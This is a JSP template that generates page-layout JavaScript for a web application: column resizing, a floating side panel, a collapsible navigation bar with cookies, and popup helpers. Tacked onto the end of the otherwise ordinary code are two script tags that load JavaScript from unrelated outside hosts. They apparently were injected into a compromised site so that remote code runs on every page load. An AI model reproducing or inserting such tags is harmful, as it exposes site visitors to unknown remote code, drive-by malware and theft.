<%@ page contentType="application/x-javascript;charset=UTF-8" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>

var debugTimer = null;
function debugStatus(message) {
	window.status=message;
	if (debugTimer != null) clearTimeout(debugTimer);
	debugTimer = setTimeout("window.status=''",1000);
}

window.onload = function() {
  xAddEventListener(window, "resize", spOnResize, false);
  xAddEventListener(window, "scroll", scrollFloater, false);
	var col2 = xGetElementById('col2');
	if (col2.style) col2.style.background = "url(<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/lang/<%=sessionContainer.getSessionLocale().toString()%>/layout/layout/tab2.gif) repeat-y";
	adjustlayout();
	floaterPreference();
	collapseSidebarPreference();
	externalLinks();
	//document.getElementById('center_layout').setAttribute('width','80%');
}


function spOnResize() {
  adjustlayout();
  resizeFloater();
}

function adjustlayout() { 
	var hdr = xHeight("header");
	var ban = xHeight("banner");
	var totalhdr = ban + hdr;
	var col1h = xHeight("col1");
	var col2h = xHeight("col2");
	var col3h = xHeight("col3");
	if (col3h > col1h) col1h = col3h;
	if (col1h > col2h) {
		xHeight("container",col1h)
		xHeight("main",col1h)
		};
	var colhpos = Math.floor(xClientWidth() *.8);  			/* horizontal positon of col3 -left:80%*/
	xMoveTo("col3", colhpos, totalhdr); 
	xTop("col1",totalhdr);
	xShow("footer");
}

/* floating right panel */
var floaterPinned = true;
function floaterPreference() {
	var cookieval = readCookie("floaterpinned");
	if (cookieval == 2)
	{
		floaterPinned = false;
		resizeFloater();
	}
}

function toggleFloater() {
	var expiry = new Date();
	expiry.setFullYear(expiry.getFullYear()+1);
	if (floaterPinned) {
		floaterPinned = false;
		document.cookie = "floaterpinned=2; expires= " + expiry.toGMTString() + "; path=/; domain=.sitepoint.com";
		resizeFloater();
	}
	else {
		floaterPinned = true;
		document.cookie = "floaterpinned=1; expires= " + expiry.toGMTString() + "; path=/; domain=.sitepoint.com";
		resizeFloater();
	}
}

var lastScrollPos = 0;
function scrollFloater() {
	//debugStatus("Scroll event triggered.");
	var scrollPos = xScrollTop();
	if (scrollPos > lastScrollPos)
	{
		scrollDownFloater();
		//debugStatus("Scrolling down...");
	}
	else if (scrollPos < lastScrollPos)
	{
		scrollUpFloater();
		//debugStatus("Scrolling up...");
	}
	lastScrollPos = scrollPos;
}

function resizeFloater() {
	scrollDownFloater();
	lastScrollPos = xScrollTop();
}

function scrollDownFloater() {
	var col3h = xHeight("col3");

	// Header and footer limits
	var topvpos = xHeight("header") + xHeight("banner");	// Header limit
	var botvpos = xPageY("footer") - col3h;					// Footer limit
	
	// Scroll down limit (window bottom)
	var screenbottom = xClientHeight() + xScrollTop() - xHeight("col3");
	
	var colvpos;
	if (floaterPinned)
	{
		colvpos = topvpos;
	} else {
		// Get current vertical position
		colvpos = xPageY("col3");
		
		// Adjust for window bottom
		if (colvpos < screenbottom) colvpos = screenbottom;
		
		// Adjust for footer
		if (colvpos > botvpos) colvpos = botvpos;
		
		// Adjust for header
		if (colvpos < topvpos) colvpos = topvpos;
	}

	var colhpos = Math.floor(xClientWidth() *.8);
	
	xSlideTo("col3", colhpos, colvpos,100);
	xShow("col3");	
}

function scrollUpFloater() {
	var col3h = xHeight("col3");

	// Header and footer limits
	var topvpos = xHeight("header") + xHeight("banner");	// Header limit
	var botvpos = xPageY("footer") - col3h;					// Footer limit
	
	// Scroll up limit (window top)
	var screentop = xScrollTop();
	
	var colvpos;
	if (floaterPinned)
	{
		colvpos = topvpos;
	} else {
		// Get current vertical position
		colvpos = xPageY("col3");
		
		// Adjust for window top
		if (colvpos > screentop) colvpos = screentop;
		
		// Adjust for header
		if (colvpos < topvpos) colvpos = topvpos;
	
		// Adjust for footer
		if (colvpos > botvpos) colvpos = botvpos;
	}

	var colhpos = Math.floor(xClientWidth() *.8);
	
	xSlideTo("col3", colhpos, colvpos,100);
	xShow("col3");
}

/* dock navigation  panel functions */
function collapseSidebarPreference() {
	var hidenav = readCookie("hidenav");
	//debugStatus("hidenav=" + hidenav);
	if (hidenav == 1 && xGetElementById('maintab'))
	{
		hideMe();
		adjustlayout();
	}
}

function toggle() {
	var expiry = new Date();
	expiry.setFullYear(expiry.getFullYear()+1);
	var xmt = xPageX('maintab');
	if (xmt > 50) {
		hideMe();
		adjustlayout();
		document.cookie = "hidenav=1; expires= " + expiry.toGMTString() + "; path=/; domain=.sitepoint.com";
	}
	else {
	 	showMe();
	 	adjustlayout();
		document.cookie = "hidenav=0; expires= " + expiry.toGMTString() + "; path=/; domain=.sitepoint.com";
	}
}

function hideMe(){
	xHide('col1');
	var col2 = xGetElementById('col2');
	col2.style.margin = "0px 0% 0px 0px";
	col2.style.background = "url(<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/lang/<%=sessionContainer.getSessionLocale().toString()%>/layout/layout/tab2-b.gif) repeat-y";
  
  document.getElementById('center_layout').setAttribute('width','94%');
}

function showMe(){
	xShow('col1');
	var col2 = xGetElementById('col2');
	col2.style.margin = "0px 0% 0px 140px";
	col2.style.background = "url(<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/lang/<%=sessionContainer.getSessionLocale().toString()%>/layout/layout/tab2.gif) repeat-y";
	
	document.getElementById('center_layout').setAttribute('width','80%');
}

function cancelbubble(evt) {
  evt = (evt) ? evt : ((event) ? event : null);
  if (evt) {
    evt.cancelBubble = true;
  }
}

function popme(theurl,winname,features) { 
  window.open(theurl,winname,features);
}

function readCookie(cookieName) {
  var docCookies = document.cookie;
  var startIndex = docCookies.indexOf(cookieName);
  if (startIndex == -1) return false;
  startIndex += cookieName.length + 1;
  var endIndex = docCookies.indexOf(";",startIndex);
  if (endIndex == -1) endIndex = docCookies.length;
  var cookieValue = docCookies.substring(startIndex, endIndex);
  return unescape(cookieValue);
}

function externalLinks() { 
  if (!document.getElementsByTagName) return; 
  var anchors = document.getElementsByTagName("a"); 
  for (var i=0; i<anchors.length; i++) { 
    var anchor = anchors[i]; 
    if (anchor.getAttribute("href") && anchor.getAttribute("rel") == "external") 
      anchor.target = "_blank"; 
  } 
  var forms = document.getElementsByTagName("form"); 
  for (var i=0; i<forms.length; i++) { 
    var anchor = forms[i]; 
    if (anchor.getAttribute("rel") == "external") 
      anchor.target = "_blank"; 
  } 
}

function acpopup(strURL,strType,strHeight,strWidth) {
  var strOptions="";
  if (strType=="console") strOptions="resizable,height="+strHeight+",width="+strWidth;
  if (strType=="fixed") strOptions="status,height="+strHeight+",width="+strWidth;
  if (strType=="elastic") strOptions="toolbar,menubar,scrollbars,resizable,location,height="+strHeight+",width="+strWidth;
  window.open(strURL, 'newWin', strOptions);
}
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>